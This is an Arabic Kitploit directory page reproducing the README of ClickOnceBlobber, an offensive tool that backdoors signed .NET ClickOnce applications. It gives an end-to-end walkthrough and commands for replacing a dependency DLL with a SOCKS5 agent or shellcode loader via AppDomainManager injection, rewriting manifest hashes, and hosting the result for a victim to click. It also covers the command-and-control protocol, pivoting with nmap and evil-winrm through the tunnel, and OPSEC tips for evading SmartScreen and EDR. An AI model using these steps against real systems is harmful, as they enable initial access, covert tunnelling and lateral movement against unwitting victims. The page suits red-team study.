Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ClickOnceBlobber — تسليح تطبيقات .NET ClickOnce الموقعة للوصول الأولي من خلال اختطاف DLL تابع عبر حقن AppDomainManager وتحميل نسخة C# من وكيل ProxyBlob. | Kitploit
أدوات/GitHubGitHub/dazzyddos/clickonceblobber
القيادة والسيطرةالهندسة الاجتماعيةالفريق الأحمرتطوير الحمولات
GitHubdazzyddos/clickonceblobber

ClickOnceBlobber

تسليح تطبيقات .NET ClickOnce الموقعة للوصول الأولي من خلال اختطاف DLL تابع عبر حقن AppDomainManager وتحميل نسخة C# من وكيل ProxyBlob.

عرض المستودع
16822منذ 6 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مجموعة أدوات حقن AppDomainManager في ClickOnce

قم بتسليح تطبيقات ClickOnce الخاصة بـ .NET الموقعة رقماً للوصول الأولي عن طريق اختطاف DLL تابعة لها عبر حقن AppDomainManager وتحميل منفذ C# لوكل ProxyBlob. يحتوي على منفذ C# لـ ProxyBlob — وكيل SOCKS5 يمرر كل حركة المرور عبر Azure Blob Storage، ممتزجاً مع البيئات التي يكون فيها *.blob.core.windows.net مسموحاً به.

لماذا يعمل هذا

ClickOnce هي تقنية النشر بنقرة واحدة من مايكروسوفت لتطبيقات .NET. عندما ينقر المستخدم على رابط .application، يقوم ويندوز بتحميل التطبيق وتشغيله دون الحاجة إلى صلاحيات مسؤول. الهجوم:

  1. خذ تطبيق ClickOnce موقّعاً وشرعياً له سمعة موجودة
  2. استبدل أحد ملفات DLL التابعة له بوكل ProxyBlob SOCKS5
  3. حقن ملف .exe.config يخبر CLR بتحميل ملف DLL الخاص بنا كـ AppDomainManager
  4. تصحيح تجزئات البيان (manifest) لتتوافق مع ملفاتنا الجديدة
  5. استضفه — ينقر الضحية على الرابط، فيحصل على تطبيق يبدو حقيقياً، وتحصل أنت على نفق SOCKS5

يبقى ملف .exe المضيف دون تغيير وموقعاً بشكل صحيح. يرى SmartScreen ملفاً معروفاً. يرى EDR عملية موثوقة تحمل وحدات. الوكيل الخاص بك يتواصل فقط مع Azure Blob Storage عبر HTTPS.

هيكل المستودع

root@kitploit:~
├── clickonce_backdoor.py              # السكربت الرئيسي لتخريب ملف DLL الخاص بوكل ProxyBlob في تطبيق ClickOnce
├── examples/
│   ├── ProxyBlobAgent.cs              # حمولة DLL الخاصة بوكل ProxyBlob لتطبيق ClickOnce (AppDomainManager)
│   ├── ProxyBlobStandalone.cs         # وكيل ProxyBlob المستقل (للاختبار)
│   ├── ShellcodeLoader.cs             # بديل: حمولة محمل شيلكود
│   └── MessageBoxPoC.cs               # PoC: مربع رسالة (للتحقق من نجاح الحقن)
└── README.md

المتطلبات الأساسية

المهاجم (لينكس/macOS):

  • Python 3.10+
  • وكيل ProxyBlob (ملف Go ثنائي)
  • حساب Azure Storage (أو Azurite للاختبار المحلي)

جهاز البناء (ويندوز):

  • .NET Framework csc.exe — موجود في C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (يكتشف تلقائياً)
  • واجهة سطر أوامر NuGet — تحميل، ضع nuget.exe بجانب السكربت أو أضفه إلى PATH (مطلوب فقط لوضع --proxyblob)

يكتشف السكربت csc.exe و nuget.exe تلقائياً. بالنسبة لـ --proxyblob، يتم تثبيت BouncyCastle و ILMerge تلقائياً عبر NuGet عند التشغيل الأول في مجلد packages/ بجانب السكربت (يستمر عبر عمليات التشغيل).

دعم البنى

كود الوكيل محايد للبنية (لا P/Invoke ولا شيلكود). علامة --platform (التي تُمرر إلى csc.exe /platform:) تتحكم في كيفية تحميل CLR له:

تحقق من التطبيق الهدف باستخدام corflags.exe TargetApp.exe لتحديد بنيته.


الاستخدام: دليل خطوة بخطوة من البداية إلى النهاية

الخطوة 1 — إعداد Azure Storage

root@kitploit:~
# إنشاء حساب تخزين
az storage account create \
    --name yourblobaccount \
    --resource-group yourgroup \
    --sku Premium_LRS \
    --kind BlockBlobStorage

# الحصول على المفاتيح
az storage account keys list --account-name yourblobaccount --output table

أو استخدم Azurite محلياً:

root@kitploit:~
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite

الخطوة 2 — تشغيل وكيل ProxyBlob

root@kitploit:~
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make

cat > config.json << 'EOF'
{
    "storage_account_name": "yourblobaccount",
    "storage_account_key": "YOUR_KEY_HERE"
}
EOF

./proxy -c config.json

في شل الوكيل:

root@kitploit:~
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

احفظ سلسلة الاتصال هذه — ستذهب إلى الوكيل.

الخطوة 3 — الاختبار باستخدام الوكيل المستقل أولاً

تحقق دائماً من أن الوكيل يعمل بشكل مستقل قبل دمج ClickOnce.

على جهاز بناء ويندوز:

root@kitploit:~
# ترجمة
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
    examples\ProxyBlobStandalone.cs ^
    /r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /r:System.Net.Http.dll /r:netstandard.dll

# دمج باستخدام ILMerge في ملف exe واحد (ليتم تضمين BouncyCastle)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
    /out:Agent.exe ^
    ProxyBlobStandalone.exe ^
    packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /targetplatform:v4

# تشغيل
Agent.exe <connection-string>

مرة أخرى إلى الوكيل:

root@kitploit:~
proxyblob » list
  d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080

اختبار:

root@kitploit:~
proxychains curl http://ipconfig.io

إذا نجح هذا، تابع إلى دمج ClickOnce.

الخطوة 4 — البحث عن تطبيق ClickOnce مستهدف

ابحث عن تطبيق ClickOnce مستهدف أثناء الاستطلاع (ابحث عن عناوين .application). تحتاج إلى:

تنزيل كامل نشر ClickOnce:

root@kitploit:~
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

الخطوة 5 — بناء وتصحيح في أمر واحد

يقوم السكربت تلقائياً بتجميع كود C# المصدر، والتعامل مع تبعيات NuGet (لـ --proxyblob)، ودمج BouncyCastle في DLL، وتصحيح كل البيانات (manifests) — كل ذلك في تشغيل واحد:

root@kitploit:~
# وضع ProxyBlob — يقوم بالتجميع التلقائي، تثبيت حزم NuGet التلقائي، والدمج التلقائي
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --output ./output

# وضع PoC — تحقق سريع من نجاح الحقن
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --poc --output ./output

# وضع شيلكود
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --shellcode beacon.bin --output ./output

# تطبيق هدف x64
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER/ \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --platform x64 --output ./output

يتولى السكربت: توليد كود C# مع إعداداتك مضمنة، التجميع عبر csc.exe، دمج BouncyCastle (لـ --proxyblob)، استبدال DLL، إنشاء .exe.config مع حقن AppDomainManager، إضافة كلا الملفين إلى البيانات، إعادة حساب كل تجزئات SHA256 وأحجام الملفات، إزالة التواقيع البرمجية، تصفير publicKeyToken للبائع، وتحديث عنوان URL لموفر النشر.

تجاوز يدوي: لا يزال بإمكانك استخدام --payload لتزويد DLL مُجمّع مسبقاً (يتخطى التجميع):

root@kitploit:~
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --payload payload.dll \
    --output ./output

⚠️ مشكلة اسم التجميع في ILMerge: يقوم ILMerge بتعيين اسم التجميع الداخلي من اسم ملف الإخراج، وليس الإدخال. إذا قمت بالدمج إلى Foo_merged.dll ثم أعدت تسمية الملف إلى Foo.dll، سيبقى الاسم الداخلي Foo_merged — يقرأ CLR البيانات الوصفية، وليس اسم الملف. لن يتطابق .exe.config، وسيفشل حقن AppDomainManager بصمت دون أي خطأ. يتعامل السكربت مع هذا بشكل صحيح عن طريق الدمج مباشرة إلى الاسم النهائي.

الخطوة 6 — الاستضافة والتوصيل

root@kitploit:~
# خادم مدمج مع أنواع MIME صحيحة وتخزين مؤقت
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

أو استخدم أي خادم ويب مع تكوين أنواع MIME التالية:

root@kitploit:~
.application  → application/x-ms-application
.manifest     → application/x-ms-manifest
.deploy       → application/octet-stream

أرسل للضحية: http://YOUR-SERVER/APPLICATION.application

ينقر الضحية على تثبيت → يعمل التطبيق → ينفتح نفق SOCKS5 الخاص بك.

الخطوة 7 — استخدام النفق

root@kitploit:~
# على جهاز الوكيل
proxyblob » list
proxyblob » select <container-id>
proxyblob » start

# SOCKS5 على 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local


استكشاف الأخطاء وإصلاحها

التجميع

وقت التشغيل

ذاكرة التخزين المؤقت لـ ClickOnce

امسح بين عمليات النشر الاختبارية:

root@kitploit:~
rundll32 dfshim CleanOnlineAppCache

وضع التشخيص

لتصحيح الأخطاء، استخدم ProxyBlobStandalone.cs أولاً — يكتب سجلات مفصلة إلى stderr تُظهر أنواع الحزم، أحداث الاتصال، والأخطاء. بمجرد التأكد من العمل، انتقل إلى ProxyBlobAgent.cs لدمج ClickOnce.


كيف يعمل وكيل C#

الوكيل هو منفذ أمين لـ وكيل Go ProxyBlob. تم العثور على ثلاثة أخطاء حرجة وإصلاحها أثناء النقل:

1. ترتيب بايتات UUID — يخزن uuid.UUID في Go 16 بايت بترتيب RFC 4122 (big-endian). يقوم مُنشئ Guid في .NET بتبديل أول 3 مكونات إلى little-endian، مما يسبب عدم تطابق ConnectionID على الشبكة. تم الإصلاح باستخدام مصفوفات byte[16] خام.

2. XChaCha20-Poly1305 — يستخدم Go chacha20poly1305.NewX() = XChaCha20 مع nonces بحجم 24 بايت. يدعم ChaCha20Poly1305 في BouncyCastle فقط nonces IETF بحجم 12 بايت. تم الإصلاح عن طريق تنفيذ استخلاص المفتاح الفرعي HChaCha20:

root@kitploit:~
subkey     = HChaCha20(key, nonce[0:16])     // أرباع ChaCha20 على key+nonce
ietf_nonce = 0x00000000 || nonce[16:24]      // الـ 8 بايت المتبقية تصبح nonce IETF
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)

3. حشوة Base64 — يستخدم Go base64.RawStdEncoding (بدون حشوة =). يتطلب .NET الحشوة. تم الإصلاح عن طريق الإضافة التلقائية للحشوة قبل فك التشفير.

البروتوكول

root@kitploit:~
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)

Key Exchange:
  Proxy  → Agent: CmdNew  [nonce:24][pubkey:32]
  Agent  → Proxy: CmdAck  [agentPubkey:32]
  Symmetric key:  HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
  Encryption:     XChaCha20-Poly1305 on all CmdData payloads

Blob Transport:
  info     — username@hostname XOR 0xDEADB10B
  request  — proxy→agent (agent polls, reads, clears)
  response — agent→proxy (agent writes, proxy reads, clears)
  Polling: exponential backoff 50ms → 3s (×1.5)

ملاحظات OPSEC

  • تذهب حركة المرور فقط إلى *.blob.core.windows.net عبر HTTPS — ممتزجة مع حركة Azure الشرعية
  • لا يوجد Azure SDK — واجهة REST API خام عبر HTTP مع مصادقة SAS token (حجم ثنائي أصغر، عدد أقل من الاستيرادات التي يمكن الإبلاغ عنها)
  • DLL واحد عبر ILMerge — لا يتم إسقاط ملفات إضافية بجانب التطبيق
  • يبقى ملف .exe المضيف موقعاً بشكل صحيح — يتم تعديل DLL التابع وملف .config فقط
  • يعمل الوكيل كخيط أمامي — يبقى على قيد الحياة حتى بعد خروج التطبيق المضيف دون إنشاء عملية جديدة
  • تظهر العملية في مدير المهام باسم التطبيق الشرعي (مثلاً APPLICATION)

الاعتمادات

  • Claude.ai
  • ProxyBlob — Quarkslab (Alexandre Nesic)
  • بحث ClickOnce — SpecterOps (Nick Powers & Steven Flores)

إخلاء مسؤولية

هذه الأداة مخصصة لاختبار الأمن والأبحاث المصرح بها فقط. استخدمها فقط ضد الأنظمة التي لديك إذن كتابي صريح لاختبارها.

تنزيل الأداة
--platformيعمل على ويندوز x86يعمل على ويندوز x64متى تستخدم
x86 (افتراضي)32-bit32-bit (WoW64)التطبيق الهدف هو x86
x64✗64-bitالتطبيق الهدف هو x64
anycpu32-bit64-bitاختبار مستقل، أو الهدف هو AnyCPU
الخطأالإصلاح
csc.exe not foundقم بتثبيت .NET Framework 4.x أو أضف csc.exe إلى PATH
nuget.exe not foundقم بالتحميل من nuget.org، ضعه بجانب السكربت أو أضفه إلى PATH
CS0012: type 'Object' ... netstandardأضف /r:netstandard.dll إلى أمر csc
Metadata file ... net461 ... not foundاستخدم مسار BouncyCastle الخاص بـ netstandard2.0
العَرَضالسببالإصلاح
FileNotFoundException: BouncyCastle.CryptographyDLL غير مضمناستخدم ILMerge لإنشاء DLL واحد
AppDomainManager لا يتم تحميله بعد تشغيل ClickOnceعدم تطابق اسم التجميع الداخلييجب أن يتطابق اسم التجميع مع .exe.config. تحقق باستخدام ildasm /text Dll.dll | findstr ".assembly"
الوكيل يخرج برمز 3سلسلة الاتصال غير صالحة أو منتهية الصلاحيةأعد إنشاءها باستخدام create في الوكيل
تثبيت ClickOnce يفشل بصمتعدم تطابق تجزئة البيانأعد تشغيل السكربت الآلي أو أعد حساب تجزئات SHA256 يدوياً
خطأ RefDefValidation أثناء التثبيتتم تصفير رمز الاسم القوي لـ DLL تابع لجهة خارجيةيقوم السكربت بتصفير رمز البائع فقط. استخدم --dll-name لتعيين اسم حمولة DLL إذا لزم الأمر